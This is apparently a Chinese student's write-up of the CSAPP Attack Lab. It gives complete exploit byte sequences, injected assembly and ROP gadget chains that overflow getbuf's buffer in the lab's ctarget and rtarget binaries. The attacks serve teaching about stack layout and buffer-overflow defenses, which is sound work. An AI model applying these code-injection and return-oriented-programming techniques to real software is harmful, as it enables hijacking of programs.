深入理解计算机系统(CSAPP) 实验:attack lab
lab简介
这个lab中包含两个64位的可执行二进制文件。一个可以被 代码注入 code injection 攻击,一个可以被 面向返回编程 return-oriented programming 攻击。我们需要利用这些弱点来攻击它,改变其运行行为。
这个lab的主要目的是帮助我们 了解栈的规则 和 了解buffer overflow的危险 。
完成lab
第一部分 代码注入攻击(Code Injection Attack)
目标攻击
ctarget
程序,改变其运行行为以满足实验要求!
1.Level1
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1(){
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
函数 getbuf
中的 Gets
函数类似C标准库中的函数 gets
。它从标准输入中读取字符串,当遇到 \n
字符时中止,并且将其存储到指定的 目的地
。(字符串后面会加一个 NULL
字符)
Gets
函数没有办法确定 目的地
是否足够容纳读入的字符串,这就是可能产生 buffer overflow
的原因!
反汇编函数 test
反汇编函数 getbuf
test和getbuf的栈空间
Gets
函数读取的字符串,将存储到函数 getbuf
的栈空间中。我们可以通过输入合适的字符串,充满 getbuf
的栈空间,并且覆写掉 test
函数栈中的 返回地址, 将 返回地址 替换为函数 touch1
的地址,这样函数 getbuf
的 retq
指令执行后,下一条要执行的指令的地址就变成了 touch1
函数的地址。
查看touch1的地址
构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l1.txt
中。
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40 00 00 00 00 00
我的机器使用 小端法
。c0 17 40 00 00 00 00 00
表示的地址就是 0x4017c0
注入合适的字节序列后test和getbuf的栈空间
新的栈空间符合我们的期望,通过 hex2raw
工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l1.txt
中。
./hex2raw < exploit_rawHexByte_l1.txt > exploit_string_l1.txt
验证结果:
😀level1完成!
2.Level2
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
反汇编touch2
我们需要把我们的 cookie
值赋给val,即将值设置到 %rdi
(通用约定第一个方法参数放入%rdi)。然后调用 touch2
函数。
汇编代码实现 l2.s
movq $0x59b997fa,%rdi #set cookie to rdi (param1)
pushq $0x4017ec #push touch2 address
ret #impl call touch2 (not use call and jump)
0x59b997fa
是我的 cookie
值。
通过汇编代码获取指令字节码
- 编译汇编文件
l2.s
产生l2.o
gcc -c l2.s
- 获取指令字节码
objdump -d l2.o > l2.d
l2.d.png
获得的指令字节码
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
我们将 获取的的指令字节码 写到 getbuf
函数的 栈顶
。并且修改 test
栈中的返回地址为 getb函数的
栈顶地址,这样就可以调用我们注入的指令了。
构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l2.txt
中。
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
指令填充后test和getbuf的栈空间
同样用 hex2raw
工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l2.txt
中。
验证结果:
😀level2完成!
3.Level3
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
vlevel = 3; /* Part of validation protocol*/
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
反汇编touch3
本题与 level2 类似,也是需要传入自己的 cookie
。区别在于这里需要传入 cookie
的地址,我们需要把 cookie
的值写入到栈上的某个地方,由于 hexmatch
函数可能会覆写掉 getbuf
栈中的数据。所以我们这里决定,将 cookie
字符串写到 test
函数的栈中。
函数 test
调用 getbuf
之前 %rsp
栈地址是 0x5561dca8
。所以就把 cookie
字符串写到这个位置。
注入的汇编代码
movq $0x5561dca8,%rdi #set a address that stored cookie to rdi (param1)
pushq $0x4018fa #push touch3 address
ret #impl call touch3 (not use call and jump)
cookie字符串的ascii码
0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61
构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l3.txt
中。
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
指令填充后test和getbuf的栈空间
同样用 hex2raw
工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l3.txt
中。
验证结果:
😀level3完成!
第二部分 面向返回编程 (return-oriented programming)
目标攻击
rtarget
程序,改变其运行行为以满足实验要求!
通过第一部分的代码攻击实验,可以看到 buffer overflow
的漏洞极大的影响了计算机的程序的安全性。通常有以下技术方案可以降低程序被攻击的风险。
- 栈随机化:栈的地址在每次运行时都是随机变化的。(无法再将攻击代码注入到栈上某个指定的位置了,成功阻止了如第一部分的leve2和leve3那种攻击方式)
- 栈不可执行:栈上不能执行代码指令。(同样,成功阻止了如第一部分的leve2和leve3那种攻击方式)
-
栈破坏检查:在栈中局部缓存区前面放置一个状态值,也叫做
金丝雀
,在使用了缓冲区后检查金丝雀
的值,如果发现其值发生变更则说明栈被破坏了。(这种保护机制是最强的,从根源上阻止了buffer overflow
攻击)
rtarget
程序开启了 栈随机化 、栈不可以执行 这两个保护策略。所以我们需要通过 面向返回编程 来完成第一部分 level2
和 level3
实验,也就是巧妙的利用程序中的 gadget
指令。
什么是gadget指令
gadget
指一段以 ret
指令结尾指令序列。例如,下面的 setval_210
函数就是一段 gadget
指令。
//setval_210 C源码
void setval_210(unsigned* p){
* p = 3347663060U;
}
//setval_210 指令代码
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
这个部分会用到的指令编码如下
popq.png
movl.png
4.part2 Level2
test
函数调用 getbuf
返回时,由于我们无法再像第一部分那用在栈中注入攻击代码。所以需要跳转到合适的 gadget
指令。我们大致需要的指令功能如下:
popq %rax #将cookie弹入 %rax 中
movq %rax,%rdi #将 %rax 的值复制到 %rdi 中,即 touch2 函数中的第一个参数。
获取指令字节码:
指令 | 指令字节码 |
---|---|
popq %rax | 58 |
movq %rax,%rdi | 48 89 c7 |
获取rtarget中可以利用的gadget指令
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
这里面我们可以找出需要的 popq %rax
指令,其指令字节码为 58
。故其指令地址可以为如下几种:
0x4019ab
测试通过
0x4019b9
测试未通过(92
指令字节码,可能有特殊含义)
0x4019cc
测试通过
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
这里面我们可以找出需要的 movq %rax,%rdi
指令,其指令字节码为 48 89 c7
。故其指令地址可以为如下几种:
4019a2
测试通过
4019b0
测试未通过 (c7
指令字节码,可能有特殊含义)
4019c5
测试通过
构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l4.txt
中。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 address */
同样用 hex2raw
工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l4.txt
中。
验证结果:
😀 第二部分 level2完成!
5.part2 Level3
这里我们同样将 cookie
写到栈中,并将其地址传入 %rdi
寄存器。这里的难点在于栈地址是随机变化的,所以我们这里将计算一个栈地址的相对偏移量。
理想的条件下,我们期望 test
的栈填充如下数据。
cookie 的字节序列
touch3 函数的地址
gadget指令的地址 /* lea 8(%rsp) ret */
可是 rtarget
程序中可用的 gadget
指令并不包含 lea 8(%rsp) ret
。
我们需要通过一些可用 gadget
指令组合来实现相应的功能。
从 movq %rsp,%rax
到 movq %rax,%rdi
就是挑出的 8 条 gadget
指令用以实现我们需要的功能。(这里每个 gadget
指令的地址获得方式与上面的 part2 level2 完全一样,不再给出详细的获取过程。)
0x59b997fa /* cookie */
0x4018fa /* touch3 函数的地址 */
0x4019a2 /* movq %rax,%rdi ret*/
0x4019d6 /* lea(rdi,rsi,1),%rax ret*/
0x401a13 /* movl %ecx,%esi ret*/
0x401a70 /* movl %edx,%ecx ret*/
0x4019dd /* movl %eax,%edx ret*/
0x48
0x4019ab /* popq %rax ret*/
0x4019a2 /* movq %rax,%rdi ret*/
0x401a06 /* movq %rsp,%rax ret*/
这里我们需要理解每条 gadget
指令对 %rsp
地址的影响,mov 类型
的 gadget
指令使得 %rsp+8
,pop 类型
的 gadget
指令使得 %rsp+16
。
如上 test
栈中,有7条 mov类型
和1条 pop 类型
的 gadget
指令。所以 %rsp
地址增加了 72(0x48)。这也上面 test
栈结构中出现0x48 的原因。
构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l5.txt
中。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
同样用 hex2raw
工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l5.txt
中。
验证结果:
😀 第二部分 level3完成!
lab资料
Attack Lab [Updated 1/11/16] (README, lab 操作指南, lab 发布记录, lab 下载)